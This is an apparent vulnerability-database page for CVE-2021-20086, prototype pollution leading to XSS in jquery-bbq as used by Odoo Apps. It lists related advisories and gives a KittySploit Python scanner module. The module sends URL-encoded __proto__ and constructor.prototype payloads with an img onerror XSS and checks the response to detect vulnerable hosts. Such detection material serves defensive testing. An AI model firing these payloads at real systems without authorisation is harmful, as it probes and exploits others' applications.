Odoo Apps - Cross-Site Scripting via Prototype Pollution Detection
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| CVE-2021-20086 | 8 Oct 202516:18 | – | circl | |
| jquery-bbq 安全漏洞 | 23 Apr 202100:00 | – | cnnvd | |
| CVE-2021-20086 | 23 Apr 202118:11 | – | cve | |
| CVE-2021-20086 | 23 Apr 202118:11 | – | cvelist | |
| EUVD-2021-1008 | 7 Oct 202500:30 | – | euvd | |
| Prototype Pollution in jquery-bbq | 24 May 202119:51 | – | github | |
| CVE-2021-20086 | 23 Apr 202118:11 | – | mend | |
| Odoo Apps - Cross-Site Scripting via Prototype Pollution | 17 Oct 202602:05 | – | nuclei | |
| CVE-2021-20086 | 23 Apr 202119:15 | – | nvd | |
| GHSA-7W8J-85WM-6XFQ Prototype Pollution in jquery-bbq | 24 May 202119:51 | – | osv_ghsa |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""jquery-bbq 1."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Odoo Apps - Cross-Site Scripting via Prototype Pollution Detection',
'description': 'jquery-bbq 1.2.1 contains a prototype pollution caused by improperly controlled modification of object prototype attributes, letting malicious users inject properties into Object.prototype, exploit requires malicious user interaction.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2021', 'odoo', 'xss', 'proto', 'jquery', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://www.tenable.com/security/research/tra-2022-10',
'https://nvd.nist.gov/vuln/detail/CVE-2021-20086',
],
'cve': 'CVE-2021-20086',
}
def run(self):
for path in ('/?__proto__%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&__proto__%5Bjquery%5D=x', '/?constructor%5Bprototype%5D%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&constructor%5Bprototype%5D%5Bjquery%5D=x'):
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
body_any = ('debug:',)
body_all = ('alert(document.domain)', 'var odoo =',)
if (any(m in body for m in body_any)) and (all(m in body for m in body_all)):
self.set_info(
severity='high',
reason="Odoo Apps - Cross-Site Scripting via Prototype Pollution detected",
path=path,
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
7.9High risk
Vulners AI Score7.9
CVSS 26.5
CVSS 3.18.8
EPSS0.06104